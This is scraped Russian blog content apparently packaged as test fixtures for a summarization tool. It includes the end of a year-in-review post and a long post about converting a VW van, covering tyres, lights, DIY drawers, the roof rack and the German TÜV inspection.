подробностей как его всё это заебало и он просто хочет чтобы красивые женщины танцевали ему в аквадискотеке. Короче, если совсем коротко «Осень Патриарха» — это книга про Путина. Когда понимаешь как же много параллелей и как ничего не изменилось за прошлый век — смеешься в голос. Зато становится как-то тепло и приятно, что всё это не злодейский продуманный до мелочей коварный план, а всего-лишь сходящий с ума очень уставший дед. И когда-нибудь он сдохнет. Комментировать Войти и написать Сериал года 🚝 Сноупирсер (который не фильм) В прошлых итогах года я похвалил фильм «Сноупирсер» и кто-то в комментах сказал, что есть еще и сериал. Я подумал будет очередная вторичная фигня, а там оказалось прям всё даже круче фильма. Помню был залайканый коммент «вот бы у сноупирсера было продолжение, где показывают не то, как они захватили власть, а как они теперь ебутся с политикой». И вот сериал ровно об этом — что недостаточно просто «победить», настоящая работа только начинается и если её не делать — случится следующая революция. Сериал отлично показывает насколько разные ценности у разных людей, как манипулируют толпой сильные лидеры, как «хорошие ребята» оказываются по локоть в крови, хотя казалось бы они отстаивали свои «хорошие ценности». Прям учебник по политологии. И каждый новый сезон всё драматичнее. Давно не помню чтобы так радовался очередному перевороту событий. Больше как-то в этом году не сняли ничего, что бы меня зацепило. 5 комментариев 7 Антон Федоров а как же Разделение (2022) (Severance)? :) 2 Вастрик Антон Федоров, я начинал засыпать где-то на половине каждой серии, в итоге досмотрел сезон, но все равно нифига не понял. Хотя возможно меня просто не зацепила идея. Она какая-то как будто книжки про попаданцев 0 Alexey Kott Поделюсь тем, что открыл в этом году для себя: полудокументальный (или даже почти документальный) "Drive to survive". Сериал про Формулу 1, но, внезапно, самим гонкам там уделяется даже меньше 50% времени, а остальное — про взаимоотношения между командами, гонщиками и прочими действующими лицами. Прям цепляет. 0 Станислав Шипилов В этом году вышли 3 и 4 (последний) сезон Атланты, с кайфом досмотрел 1 Philip Sukolenov Очень советую Банши Инешерина - просто невероятное что-то. Войти и написать Фото года +============== diff --git a/tests/summarization/https___vas3k.blog_blog_bus_2022_.txt b/tests/summarization/https___vas3k.blog_blog_bus_2022_.txt new file mode 100644 index 0000000..bf1e8f6 --- /dev/null +++ b/tests/summarization/https___vas3k.blog_blog_bus_2022_.txt @@ -0,0 +1,2 @@ +Добро пожаловать на третью серию! В прошлый раз мы сначала покупали бус, а потом переделывали его в пригодный для полевых ночёвок кемпер. Получилось вроде бы неплохо (ну, для первого раза). В Бусе есть кровать, второй аккумулятор на 100 Ah и даже автономный отопитель, спасающий от внезапных холодов. Уровень комфорта примерно как в дешевом итальянском хостеле — кушаешь и спишь с комфортом, но какаешь всё равно в дырку в лесу. Две звезды. Но всё это уже было в прошлом году. Текущий год был посвящен путешествиям, переделкам по внешнему виду и прохождению ректального немецкого техосмотра со всем этим колхозным богатством. Так что да, в этом посте будет много внешки. Я прекрасно понимаю, что спорить за внешку — любимое занятие каждого автофорума. Да, внешка никак не влияет на проходимость, комфорт и прочие НаСтОяЩиЕ ВеЩи, а зачастую даже ухудшает их. Любой четырнадцатилетний школьник уничтожит вас по фактам, что наклейки — это моветон, AT-резина — шумно, а багажник на крыше сожрёт всё ваше топливо просто ночью на парковке. Умные, взрослые и рациональные люди из интернета никогда не будут делать внешку. Но я к ним не отношусь, к сожалению. Я иррациональный. Для меня внешний вид — это то, что делает каждое моё утро немножечко приятнее. Едешь такой себе на работу на велосипеде мимо парковки и такой «Ооооо, Буууся, привеееее!!!» И твое настроение как-то улучшается. В моей жизни щас мало вещей, которые повышают настроение, простите мне хотя бы это. Сегодня расскажу о переделках за последний год и как долго мы к ним шли. Да уж, строить машину судного дня в 2022 стало как-то совсем актуально. Жалко лишь топлива мы больше не найдём :) Комментировать Войти и написать Ну, во-первых, это красиво Во-вторых, универсально В-третьих, пёс вон спит, не шумите тут 🛞 All Terrain колёса Ставить АТ'шку было решено еще при покупке. Не просто же так я переплачивал за полный привод. АТ — это такая более мохнатая резина, которая спроектирована с расчетом, что вы хоть и живете в городе, но иногда съезжаете на грунтовку. Частота этого «иногда» и определяет насколько злая АТшка вам нужна. От очень зубастой до какого-нибудь Michelin, который на вид не вообще отличается от обычной зимней, но маркетинг делает своё дело. Конечно, если вы тру-джипер из Сибири, у вас выбор скорее стоит скорее между AT и MT (Mud Terrain) и скорее всего в пользу последней. АТшка в Сибири это повод для шуток. Но там совсем другой мир. Жил бы я в Сибири — давно бы взял тоётку и МТ. Мы же тут европейские мрази с длинными автобанами и топливом по 2+ евро, так что АТ — вполне себе компромисс. Хотя соглашусь, ставить АТ в Европе — это скорее стиль, чем необходимость. Это когда ты всё еще хочешь лететь по автобану 150 км/ч до Австрии, но потом немного съехать на грунтовку и не бояться порезать борта лихими камнями. Плюс, меня задолбало переобуваться каждые полгода. А АТ как раз почти все сертифицированы как всесезонные ? у них есть такая иконка с горой с 3 пиками — по ней любой местный полицай определяет зимняя ли резина или нет — это удобно. Было Стало Дальше была куча рисерча, сравнений и мук выбора. Скажу лишь, что по итогам было решено брать «золотой стандарт» — BF Goodrich AT KO/2, они же BFG (как в Doom, да). Благо они тут намного доступнее других американцев, благодаря их популярности. Как выглядел мой фотопоток этой весной. Я потом еще все их размеры в табличку выписывал! Рисёрч шел так основательно, что я несколько месяцев просто гулял по улицам и фотографировал все местные бусы на АТ-резине, чтобы собрать статистику. Хорошо, что в Берлине их дофига. Так вот я упоролся, да. Отдельным сомнением было брать ли колёса одного из штатных разомеров или же идти по жести и брать огромные катки, которые возможно потребуют еще и поднятия подвески. Wheel Size Calculator был засмотрен до дыр. В итоге все-таки решил не жестить и брать маленькие, но штатные. Смотрится, конечно, на порядок хуже, зато в теории более долговечно и нет проблем с полицией в разных странах. Всё, что больше 10% от самого большого колеса требует калибровки спидометра. А это дорого Тут я снова завидую странам, где нет законов и можно делать что угодно, лишь бы ехало. Да вот даже соседней Польше. Колёса по итогу классные, хотя и выглядят не так жирно, как хотелось бы. Зато едут кайф. У меня было много сомнений по поводу изменения поведения на трассе, я даже поначалу очень аккуратно ездил 120 км/ч по правой полосе, особенно в мокрую погоду. Свеженькие. Даже диски новые на сдачу купил (стальные дешёвые всё равно) Но всё-таки решил покрасить в матовый чёрный, чтобы СТИЛЬ был Спустя месяц я же полностью привык к АТ колёсам и они по факту очень похоже на обычную зимнюю. Такие же мягкие, но при этом весьма цепкие. Даже на резких поворотах в дождь и снег проблем особо не возникало, ESP не моргал. Вопрос шума тоже оказался не таким критичным. Опять же, в бусе и без того достаточно шумно, это всё-таки не S-класс. Так что даже по тестам дотошных немцев-бусоводов на ютюбе замена обычной резины на АТ добавляет лишь пару децибелл, что просто фигня. Так что основные страхи не оправдались совсем, но главное, что я получил — ощущение уверенности. Теперь когда Google Maps в Албании заводит тебя в кукурузное поле (да, это классика), ты просто чертыхаешься и включаешь пониженную, но не волнуешься за каждый камешек. Короче, нравится. Опять же, у меня бус, он по-умолчанию валкий и шумный, так что на вашем комфортабельном паркетнике всё может быть по-другому. Владельцам же большим машин рекомендую ставить АТ не боясь, они мало чем отличаются от зимы. Разве что ценой, да. Но haters gonna hate, естественно, а вам за рулём будет очень пиздато! Песочек — кайф Болота — кайф Пещеры — кайф. В общем, АТ можно брать 10 комментариев 4 Sergey Smirnov нужен бус на гусеницах :) 6 Вастрик Звоните Костику! 3 Ilya Zverev Классика: тонны рисёча, десятки сайтов, а выбор всегда один и тот же, BF Goodrich T/A. 0 Вастрик Дада, я причем и сам бы хотел как-то выпендриться, но у других производителей то индекс массы неподходящий был, то доставка 6 месяцев из США с дикой наценкой. А BFG вот они на любой вкус везде 2 Arseny Osipov разве на транспортёрах бывает понижайка? 0 Вастрик Arseny Osipov, на ручке ты всегда можешь включить передачу ниже, чем надо. А про понижайку в раздатке речи не идет :) 1 Валентин Раушенбах Хээй, ты всё-таки поехал от Пивского водохранилища через Седло :) г - гордость 4 Вастрик Конечно доехал, как же я мог пропустить такое чудо природы как РЕКА ПИВА)0)))))) 0 Dulat Jetpisbayev Как красили диски? По классике, вначале грунт, потом эмаль? 0 Вастрик Dulat Jetpisbayev, грунт, эмаль, потом еще два слоя 2К лака. Пока держится :) Войти и написать Ползать по говнам — святое 💡 Надо больше света Неприятным открытием во время поездок прошлой зимой стало то, что на узких лесных дорогах нам крайне не хватает даже дальнего света. Буся родился в те годы, когда ксенон на фольцвагенах всё еще был «премиум опцией». В России бы эта проблема решалась просто — колхозными фарами от более старшей модели и покерфейсом «да это завод, тащмайор». В Германии же всё непросто. Во-первых, каждая комплектация кодируется прям в сервисной книжке. Даже гугл знает, что такое LH7W ? это мой цвет , а у немцев каждая машина кодируется сотней таких кодов в базе данных. Во-вторых, ты заебешься искать все необходимые детали вплоть до нового бампера, чтобы встроить в него омыватели фар (для ксенона они обязательны). В-третьих, такие изменения нужно вносить в техпаспорт автомобиля и заново проходить сертификацию, которая может стоить дороже всех твоих изменений. Так что немцы не трогают свои машины вообще. Сломалась — продал полякам, купил новую. Счастливые люди. Не то что мы. Пришлось искать альтернативные варианты. Дополнительный свет был очень нужен. Самый популярный вариант — установка дополнительных «оффроадных» фар на бампер или на крышу. Вот типа таких: Однако, такой свет можно использовать только как «рабочее освещение» — только вне дорог общего пользования или во время стоянки. Почти в любой стране так. Нам же было нужно, чтобы дополнительный свет работал вместе с дальним, на тех же серпантинах в сумерках. Иначе зачем это всё. Легальный путь в итоге нашелся — надо было разместить дополнительный свет на одном уровне со штатными фарами. Выше или ниже — нельзя, а вровень можно. Так были найдены британские фары Lazer Lamps Triple-R 750 за 350 евро кит, которые ставятся прям в нашу бусовую решетку. Вот такая морда Для удобства инсталляции у них в комплекте идут распечатанные на 3D-принтере шаблончики под вашу версию авто. Прикладываешь их, пилишь пластик ножовкой, вставляешь, прикручиваешь — вуаля. Сидят как влитые. В реальности они казались жесть огромным, вон одна фара еле влезает в рюкзак Но по факту всё чётко и красиво. А справа видны напечатанные на 3D принтере шаблоны У фар есть толстенное щелкающее реле, которое нужно аккуратно разместить под капотом. Контакты питания от него идут напрямую на аккумулятор, а сигнальные провода я подключил к косе проводов левой фары. Когда включается ближний — активируется режим «габаритов», когда дальний — щелкает реле и ебашет на полную. По мощности одна такая фара светит ярче, чем обе штатные. То есть вместо 2 штатных ламп дальнего света у меня теперь по факту 6. Нравится. Первым полевым тестом для новых фар стала Черногория и Албания. В Черногории они дико выручили на серпантинах, где надо лететь минимум 80+ км/ч, иначе за тобой образуется колбаса из злых местных. В Албании же дальний свет является основным средством коммуникации на дороге, так как правила дорожного движения там в основном отсутствуют. У кого сильнее дальний — у того и приоритет. Так что я бывал в приоритете частенько. Нравится. Дальний в тёмных тоннелях == светлые тоннели (кстати на фото можно заметить, что правая фара сместилась немного вверх, потому что я неправильно её закрутил) С одной стороны, мне нравится «штатный» внешний вид и неистовая мощность. С другой, наверное в следующий раз я бы наверное сначала ставил «кенгурятник» и потом обычные круглые фары на него. Ну типа того. Фотка просто рандомного чувака с улицы. Кстати, нифигасебе, он электрический! Такой сетап хоть и стоит дороже изначально, но со временем легче в обслуживании и замене — такие фары можно разбить и купить новые на любой заправке, а эти — фиг. Мои же запотели уже к зиме, что обидно. Премиальные британские бренды такие премиальные. Хорошо хоть для дальнего света запотевание скорее пофиг, влияет лишь на внешний вид. 1 комментарий 15 Dmitry Gorbachev А на кенгурятник, получается, не нужно никаких разрешений? Тоже ж типа доработка. Войти и написать Это мороз -20С (Литва) А это что блять вообще такое-то? (Сербия) Ладно, а это пляж. И пёс, у которого три ноги (Дания) 🗃️ Ящики Помните, в начале года мы ездили в ЮАР, где катались по пустыням на охуенной Toyota Hilux? До сих пор по ней скучаю, да. ? Теперь у меня впервые в жизни есть мечта: купить домик в ЮАР, нанять домработницу за 200 евро/мес и припарковать там в гараже Hilux (или Tacoma), чтобы ездить каждые выходные на сафари! Так вот была в Хайлюксе одна тема, которую я решил стырить себе в идеи — выдвижные ящики для барахла сзади. Комментировать Войти и написать Я знаю, тусовка джиперов тут (как обычно) делится пополам — первая половина обожает ящики, потому что в них можно организовать всё возимое с собой говно, особенно мелкое. Вторая же их ненавидит, потому что ящики крадут сантиметры, добавляют вес, и лишают тебя драгоценной возможности бросить в багажник дюжину совковых лопат и спижженную в деревне свинью. Я глупый и молодой, так что решил попробовать ящики. Здесь в Европах их еще называют CamperBox. Для европейца Camperbox — это топ лайфхак. Вот ездишь ты себе на работу на своём немецком сарае. А потом хуяк, заехал в гараж, вбросил в багажник кемпербокс с кухней и спальником, на крышу поставил автобокс со шмотьем — и вот ты готов всей семьей ехать кататься в Альпы на неделю. Однако, оказалось, что кемпербоксы стоят примерно как еще одна машина — тысяч 5-6 тысяч евро минимум. Тогда я решил, что нефиг переплачивать за магазинное, если сам можешь сделать ХУЖЕ и ДОРОЖЕ! Так у меня появилось новое хобби. Все свободные выходные в сентябре и октябре я ходил пилить свои ящики. Было охуенно. Я даже освоил какой-то гиковский CAD и набросал в нем проект, чтобы было удобнее рассчитывать размеры каждой внутренней перегородки. SolveSpace — рекомендую для гиков, которым не хватает обычного блокнота с ручкой и они хотят чтобы внутренние размеры пересчитывались автоматически в зависимости от констант (REF на скриншоте). Работает даже для 3D. Требует полчаса освоения, но потом начинается прям старый добрый эксель — с ним ты ВСЕМОГУЩ Раму решил делать из алюминиевого профиля, так как он намного легче, чем цельные стенки из фанеры. Обрабатывать железо посложнее дерева, но в случае с алюминием у тебя как будто бы есть читкод — он весьма мягкий и пилится обычной болгаркой. Алюминий тяжко сваривать, но зато для профилей есть специальные пластиковые уголки, которыми можно изобразить примерно любую конструкцию. Дальше на алюминиевую раму прикручивались стальные направляющие, купленные на Амазоне по запросу Heavy Duty 100 kg Sliders. Вряд ли они выдержат 100 кг, Амазон всегда пиздит, но если хотя бы 50 будут держать — уже победа. Ящики же собирались из классной березовой фанеры (aka. «baltic birch plywood»), так как она самая прочная, легкая и влагостойкая. Потому и дорогая, да — 50 евро за квадрат почти. Стройматериалы за последний год прям жестко подорожали. Миша помогает крутить ящики в перервах между созвонами Сетап в сборе в мастерской Плюс фанеры — её живучесть, но есть и минус — она почти всегда «идёт винтом». Большие листы загибаются сами по себе и вам нужно заранее продумывать как скрепить их в квадратный ящик, чтобы со временем вся конструкция тоже сохраняла свою квадратность. Итого спустя два месяца работы и примерок у нас были два охуенных выдвижных ящика с кучей отсеков внутри. Редкое фото, когда мы прикручиваем всё это к полу. Тут пока видны детали — пружинный подъем для стола, резиновые прокладки, вырезы в раме, чтобы кровать нормально в них падала Больше не надо вытаскивать половину говна из багажника, когда хочешь достать гриль или компрессор для колёс из самого дальнего угла. Вода и еда тоже в доступности. В качестве приятного бонуса на фасад была приделана открывашка для пива и пара жестких подстаканников, чтобы наливать себе кофе в полевых условиях. Нравится. Между ящиками всё еще сохраняется длинное место для всяких лопат и стульев. Стол же переезжает на крышу. 3 комментария 0 ReDetection охуенный тазик, а главное практично :) в нём есть закрываемая дырка для слива? 0 Вастрик ReDetection, дырки нету, я весь амазон перерыл, не нашел нужного размера с дыркой. Абидна. Ну пока так, он если чо легко вынимается 0 Konstantin Kozlov спасибо за лонгрид :) по хуже и дороже вспомнилось :) https://i.vas3k.club/deb649f17e0523ee6591ef054e7c9960ba4e718e3e478d8b67a29c2dd418fbec.jpg Войти и написать Правый ящик — для хранения еды, мойки посуды, перевозки гриля и прочих полотенец. Когда гриль не нужен — он вынимается и освобождает еще кучу места для всяких палаток. Открывашка для пивчика — неотъемлемая часть. Да даже для фирменных Front Runner'ов они продаются как опция за $99.99! В правом ящике ездит весь автомобильный хлам — инструменты, цепи, пила, заплатки, компрессор, тросы всякие. Ну и баклаха с водой для питья в быстром доступе. 🛖 Крыша Багажник на крышу мы поставили еще в прошлом году. Это было заранее продумано, ведь нам нужна была маркиза (разворачивающийся навес от солнца и дождя), а крепить её удобнее всего именно на багажник, чтобы не изобретать какие-то временные колхозные крепления и не ездить как дурак с торчащим «рогом». Албания Весь год багажник ездил по сути пустой. Пару раз на нём возили какой-то негабаритный груз, но в основном это был элемент стиля. Ну и еще мне было интересно замерить насколько правы все интернет-эксперты, кричащие что багажник на крышу — это минимум +1-2 литр расхода на сотню. Итог: пиздят. Моя аэродинамика и без багажника больше напоминает кирпич в разрезе, так что пустый рейлинги на крыше примерно никак не повлияли на расход даже по трассе. Как было 7-8 литров на сотню, так и осталось. Специально замерял через ODB-II разъем с приложением для статистики. Хотя, я понимаю, ребята скорее всего имеют в виду ситуацию, когда багажник загружен тюками говна и сумками хлама в полметра высотой, но такой сетап мы будем исследовать в следующем году. Так что если вашей супер-аэродинамичной Тесле или Ауди багажник на крышу может и добавит пару десятых литра дополнительного расхода на сотню, то для кирпичей-бусов эта фигня примерно как наклеенный пластырь. Новые жители крыши. Крепление для стола — полный DIY. Специально купленные и скреплённые клёпками алюминиевые уголки с мягкой прокладкой из оконной изоляции внутри, чтобы не бацало на кочках В 2022 багажник наконец-то был спланирован с учетом наших нужд в путешествиях. Да, всё делается медленно, потому что приходится долго изучать собственные привычки и какие штуки действительно нужны с собой. Стафф на крыше — это не те вещи, которые нужны в доступности каждый день. Спальники или фляги с водой лучше хранить внутри, чтобы были близко. Не будешь же ты под проливным дождем лезть на грязную крышу, чтобы достать себе одеяло или попить. С другой стороны, буся маленький и каждый килограмм веса для нас тоже важен. Возить с собой сто килограмм говна, которое никогда не понадобится — такое могут себе позволить только большие ребята. Очередной привет из ЮАР. Там-то я насмотрелся на джиперов по полной Сначала я еще думал поставить пару солнечных панелей на крышу, но год покатушек отчетливо показал нам, что я, конечно, сильно жиранул с аккумулятором на 100 Ah, и его электричества нашему холодильнику и всем гаджетам хватает на 2-3 дня стоянки минимум. Даже обидно его не использовать на максимум, так что дополнительно электроэнергии нам пока не нужн. Жаль. Был бы топ-билд. Всё это приводит нас к довольному узкому набору вещей, которые можно возить с собой на крыше. Мой личный топ оказался таким: Стол Нужен на больших стоянках почти всегда, но сильно мешается в остальное время. Два года мы использовали раскладной, но однажды у кого-то в Норвегии я заметил как крепится стол у багажников от Front Runner и очень проникся. Но там только один стол стоит под 600 евро, и сам багажник еще 2000. Слишком жирно для нас. Проще снова сделать своё ХУЖЕ и ДОРОЖЕ! Ну вы поняли концепцию. Вы думаете я просто вышел погулять пса в очереди на паромпса, но на самом деле перед нами стоит очень богатый DIY швейцарский бус с багажником, ящиками, лестницей и столом как раз от Front Runner. Это только кажется, что это старый доставщик из DHL, а у него только на крыше тысяч 5 евро сейчас едет. Швейцарцы умеют в DIY побаче нашего Яшик для говна Универсальное решение. В обычное время там можно возить всякие тросы и спальники (которые не гремят). Когда же путешествуешь с друзьями, их рюкзаки и палатки не всегда удобно ложатся в салон, так что иметь дополнительное защищенное от дождя место на крыше очень приятно. Сандтраки Пластиковые штуки, чтобы выезжать из говн, когда застрял. Внутри их не повозишь, так как после первого же использования они превращаются в куски сраной грязи. Поэтому их возят снаружи. Ну и еще потому что СТИИИИЛЬ. Потому я специально купил оранжевые. Сфотай нас пока чистые Лопаты и топоры Тру-джипперы и тот же Front Runner придумали топ тему — крепить их сбоку, как маркизу. Удобно снимать когда застрял. К сожалению, я пока так и не нашел нормальных креплений, которые были бы одновременно надёжды от воров и легки для снимания. Такие есть в США и Австралии, но в Европе похоже нахер никому не нужны. Потому на фотках лопаты пока не будет :) Рядом с ящиком скоро будет ездить лопата. Ящик, конечно, придётся перезакреплять — на этих веревочках он бухает. Хотя пока примёрз — заебись Возможно, запаска Моя висит под днищем сзади, но я проникся рекомендациями тех, кто застревал. Когда ты буксовал по говну и порвал колесо — доставать запаску из под днища будет тем еще челленжем. Потому многие переносят её на крышу, чтобы было удобнее снимать. Там том же УАЗе она на жопе висит не просто так. Итого наша крыша под конец года выглядит примерно вот так: Комментировать Войти и написать Всё еще остается место чтобы бросить сноуборды или сапы 👮‍♀️ Проходим TÜV (немецкий техосмотр) Я уже шутил в твиттере, что хобби в Германии — это когда ты выучиваешь наизусть каждого параграфа закона, который разрешает тебе ту или иную дырку. И потом вы как будто играете в карточный бой с проверяющим: — По параграфу 7 так нельзя! — Нет, по параграфу 23.2 это можно в таких-то случаях. — Окей, бито (все числа конечно же вымышлены для упрощения) Немецкие проверяющие очень похожи на наших — они тоже любят тебя подъебнуть, чтобы ты как бы сначала напрягся, а потом сказать «да ладно, по 92-му параграфу я могу закрыть на это глаза, но вот ту маленькую фигню обещай мне исправить в кратчайший срок, понял?» Главное — дать им понять, что они всё знают больше параграфов, чем ты. Так они всё равно чувствуют свое превосходство, но как бы начинают уважать тебя за хорошую игру! Потому в конце проверки экзаменатор спросил «Почём покупал?» и дал свою визитку. «Если будешь продавать — позвони))))». Считаю это наивысшей оценкой мастерства! В твиттере мой тред про TÜV собрал много лайков и реплаев, некоторые из которых я даже не заметил. Твиттер скрыл их под More Replies, но аргументы из них достойны упоминания. Компании, занимающиеся техинспекцией в Германии не принадлежат государству. Сдача экзаменов на права и приёмка любой техники (автомобилей, лифтов, АЭС, чего угодно) здесь делегирована нескольким «частным» компаниям — TÜV, Dekra, KÜS, GTÜ, you name it. Они живут по рыночным правилам — конкурируют, заключают контракты с заводами, придумывают как сделать хорошо, чтобы клиенты к ним шли, а к другим не шли. Однако, они «частные» в кавычках, потому что правительство Германии устанавливает для них все стандарты и даже цены. Они подчиняются одному своду правил и не имеют право повышать цены, навязывая «премиальные услуги». Всё у всех одинаковое (по факту). Получается такой вот микс. Германия любит сочетать в себе свободный рыночный капитализм и старый добрый социализм с госрегулированием. Да, оно ломает мозг, но как-то работает. С медстраховками, кстати, та же история Так что работают в них не «госслужащие» за «нологи», а обычные работяги-бывшие-механики. И все эти их заёбы по параграфам — это скорее привычка, плюс тест на то, «свой» ли ты, понимаешь ли, что делаешь, или же просто поставил ультра-ксенон по блогам в интернете. Ультра-ксенон. TÜV geprüft, кстати Не знать нужный параграф — это не приговор. Законов в Германии дохуя и никто их не помнит, расслабьтесь. Вы просто вместе идете к ноутбуку, открываете PDF'ку и ищете любой параграф, который разрешит тебе ехать дальше. Прюферы тут (чаще всего) на твоей стороне, а не против. Им наоборот только в кайф решать сложные задачки и давать тебе советы, особенно если они видят, что ты адекват и старался. Короче, не ссыте. Еще прюферу всегда можно позвонить по телефону и просто спросить «а что если я хочу сделать Х?» Меня даже это выручало пару раз. Короче, одобрено еще на 2 года Победителю дают вот такую наклейку на номер, которая защищает от полицаев (они реально её смотрят первым же делом) Итого на немецкий TÜV мы пришли примерно с вот такими изменениями за два года: 1. Полностью перестроен салон. Заменены оба водительских сиденья на разворачивающиеся. Заменена мультимедиа и весь звук. Заменен пол в салоне. Салон нафиг выброшен и туда поставлен раскладывающийся диван от модели California (но все еще штатный). Прюфер сказал, что ему абсолютно насрать на всё, что находится внутри машины. Ну кроме совсем очевидного — руля, ремней и педалей. Всё остальное — это груз. Так что все ящики и сиденья он проигнорировал, заметил лишь, что водительский ремень не всегда втягивается в стойку при отстёгивании. Небезопасно, говорит! 2. Установлен второй аккумулятор, который заряжается от первого. От него сделан второй контур проводки для «жизни» Примерно то же самое, что в пункте 1. Пофиг. Прюфер лишь уточнил есть ли у меня огнетушитель на случай неполадок всех этих моих переделок — а у меня как раз был, ведь буквально год назад мы горели)))0 3. Поставлен салонный отопитель (aka. фен, aka. вебаста), чтобы дуть теплотой во время зимних стоянок. Прюфер посмеялся, спросил есть ли сертификация тестирования электропроводки, что она выдержит его нагрузку. Я сказал, что отопитель подключен ко второй батарее и не связан с контуром машины. Он расстроился. 4. АТ-резина и новые диски. Это было первое, что привлекло внимание. В моем СТС не были вписаны колеса такого размера, но они были указаны на наклейке около водительской двери и он дополнительно проверил по базе — такой размер разрешен для моей модели. Не доебаться. АТ или не-АТ им пофиг, главное — размеры есть в стандарте. Прюфер даже сказал, что в теории можно поставить резину на 8% больше, откалибровать спидометр, и пройти сертификацию — это легально. К сожалению, если резина больше чем на 10% (по длине окружности) — такое уже сертификацию на дороги общего пользования не пройдет. Жаль. Убер-джип не построишь тут, только вози с собой на прицепе. 5. Новые фары. Габаритные огни + дальний свет. Тема оказалась самой горячей. Мы даже вместе поднимали все законы и смотрели коды стандартов. По итогу я проиграл в единственной вещи — мне запретили использовать мой доп-свет как дополнительные габариты (DLR). Только как дальний. Потому что между DLR по стандартам в Германии должно быть минимум 40 см расстояние, а у меня 25. Сука. Потому я сделал под капотом еще одну кнопку, отключающую режим DLR у дополнительных фар. Когда поеду в соседние страны — обязательно включу! 6. Общие поломки. Вообще на техосмотре обычно смотрят стандартные вещи, типа там подвеска шатается, глушитель шумит, фары смотрят вверх, не горит стопсигнал и прочее. Эта рутина и занимает 80% времени всего техосмотра, если вы нормальный человек. Но я не очень нормальный, так что выношу это всё просто в отдельный пункт. По итогам: у меня разъебались штанги переднего стабилизатора. Обе приговорили под замену. Немного подржавел глушитель, но его простили. В общем-то всё. На прошлом TÜV мне насчитали на 1000+ евро деталей под замену, а тут обошлось в 200 (плюс 130 евро за сам TÜV) — считай неплохо отделался. 4 комментария 3 ReDetection Блин, я тут проходил ТО за 35 евро и они не нашли ничего, сука. Даже неработающего левого стопа и подраного пыльника амортизатора. Теперь переживаю, что ТО нарисовали -_-" 1 Alexey Kott Чёт споткнулся на DLR, т.к. Daytime Running Lights же. А Википедия вот чо сказала: Дневные ходовые огни (англ. Daytime Running Lamp) — лампы транспортного средства, <...>. Из-за подобия произношения L и R носители русского языка иногда используют сокращение DLR вместо или наравне с DRL. 0 alpex92 А какой уровень немецкого требуется для продуктивного общения с сотрудниками TUV? 1 Вастрик alpex92, экзаменаторы TUV — это абсолютно разные люди. Это просто их работа. Там могут быть как немцы, так и русско-, турецко-, на-чем-угодно-говорящие мигранты. Обычно всё зависит от того автосервиса, где ты проходишь TUV (а он делается именно в автосервисах по определенным дням, не надо ехать куда-то там в ГИБДД). Так как в моем автосервисе владельцы русскоговорящие, то и TUV-экзаменатор у них говорил со мной по-русски и потому мы проговорили примерно 2 часа буквально о каждом болтике и возможном будущем изменении в конструкцию :) Но если не хочешь общаться — то можно вообще с ним не встречаться. Утром увозишь машину в сервис, вечером забираешь с новым сертификатом (или нет). Так делает большинство нормальных людей здесь Войти и написать Ну вот теперь попробуй скажи балканской коровке, что у тебя TÜV не пройден Простите, в балканотрип я ездил один и фотал как мог Но всегда было так красиво, что мне даже лень было выходить Держите просто фото кайфа из Черногории. Тут нет буса, но это именно то, зачем мы все куда-то едем — ЛИЧНАЯ ВАННА В ВОЛНАХ АДРИАТИКИ 🚗 Прочая внешка и новая концепция Внешка — кайф. Теперь Буся радует не только когда выезжаешь на нём куда-то в закат, а просто каждый день когда стоит на парковке. Даже с псом когда гуляю специально мимо него прохожу всегда. Но я забыл рассказать про еще один важный аттрибут внешкоёба — стикеры. Джипы, обкленные стикерами вкруг с брендами и логотипами, дальнобойщики называют «сникерсами». Тоже хочу стать сникерсом, но у меня есть концепция. Я решил клеить на заднее пассажирское окно стикеры стран, по которым мы катались. Так что окно будет заполняться еще долго, что меня устраивает, я не тороплюсь. Пока получилось вот так. Тут нет Италии, зато я не удержался и все-таки наклеил стикер из ЮАР. Остальные предлагаю угадать вам. Кроме стикеров для красоты, появились стикеры и для защиты. Пороги и нижняя часть буса часто страдает от камней, веток, да и просто хуёво паркующегося между пеньков меня. Потому было решено заклеить её какой-никакой плёнкой, а заодно сообщить всем, что мы 4MOTION. Вот так получилось. В процессе всё, конечно, выглядит не очень. Это я примеряю размер надписей, у меня закончились магнитики, я примагнитил фонариком В итоге стала даже немного меняться концепция. Ванлайф, конечно, хорошо, но видимо я его пересмотрел, что теперь все ванлайферские проекты мне кажутся какими-то овер-романтизированными и надуманными. Я понимаю романтику старого T2, пердящего по горному серпантину при свете заката, но когда сталкиваешься с ним в реальности и понимаешь, что он едет не быстрее велосипеда и выплёвывает ремень ГРМ каждые пару дней — «романтики» хочется немного меньше. Граница Ховатия-Черногория, буферная зона. Забыл сказать, что у нас еще и новая магнитола с CarPlay появилась, купленная по скидке на eBay, так что теперь всё вообще по-богатому Поэтому Буся всё больше превращается не в романтиш-мобиль, а скорее в универсальную машину выходного дня. Тут уже и на ютюбе начинаешь смотреть не ванлайферов, а скорее автралийских оверландеров, которые строят огромные внедорожники. JDM-стиль, привет из Сибири Нужен приятный, универсальный аппарат, способный довезти нашу весёлую компанию по автобанам до близлежащих гор, а там так же весело карабкаться по грунтовке вверх к приключениям. Ну и потом уехать обратно. А с учетом того, что лоукостеры в Европе с ковидом прекратили своё существование, и теперь уже не полетаешь за 8 евро в Норвегию, Буся даже примерно окупается. Да, тут снова в комментах должны начаться крики про «мы же говорили надо брать SUV», но вы же понимаете, что это слишком скучно и практично, а так на бусю даже иногда обращают внимание на дороге (в основном заграницей, конечно). Но даже в Германии оказалось не так-то сложно найти условные говны в лесу. Пожарные проезды и прочие просеки летом весьма доступны, стоит лишь найти их на карте и правильно свернуть. Просто мало кто решается. Будем и дальше развиваться в этом направлении. Хотя, учитывая войну в Украине и энергетический кризис в Европе, похоже человечеству крайне не хватает электро-бусов на солнечной энергии, потому что все эти ваши дизеля и бензины скоро просто станут недоступны для большинства обывателей. Комментировать Войти и написать Теперь у нас есть пёс. Ночью он в основном спит под одеялом между нами, но в остальное время поворачивающиеся сиденья как будто были придуманы специально для него (пёс просит прощения за то, что он чёрный и его всегда хуево видно на фото, такова уж судьба) 🧩 Что дальше? Дальше снова дорожные эксперименты. В этом году у Буса было три больших путешествия — в Норвегию, в Литву и по Балканам. Это не считая мелких вылазок на выходные по кемпингам в соседних немецких и польских лесах, которые я уже не считаю. Свои положенные 10000+ км за год он покатался. Надеюсь, он доволен. Сериалы на ночь с кинопаба. Угадавшим сериал будет лайк Буся как дома. Да, Лукойлов по Европе дофига, но где вы найдёте не «Lukoil», а самый настоящий кириллический «Лукойл»? Я вот нашел в Македонии. А в Сербии я был сцапан ночной полицией, конечно же Буся технически хорош внутри, он едет и в нём вполне можно выживать неделями. Лишь 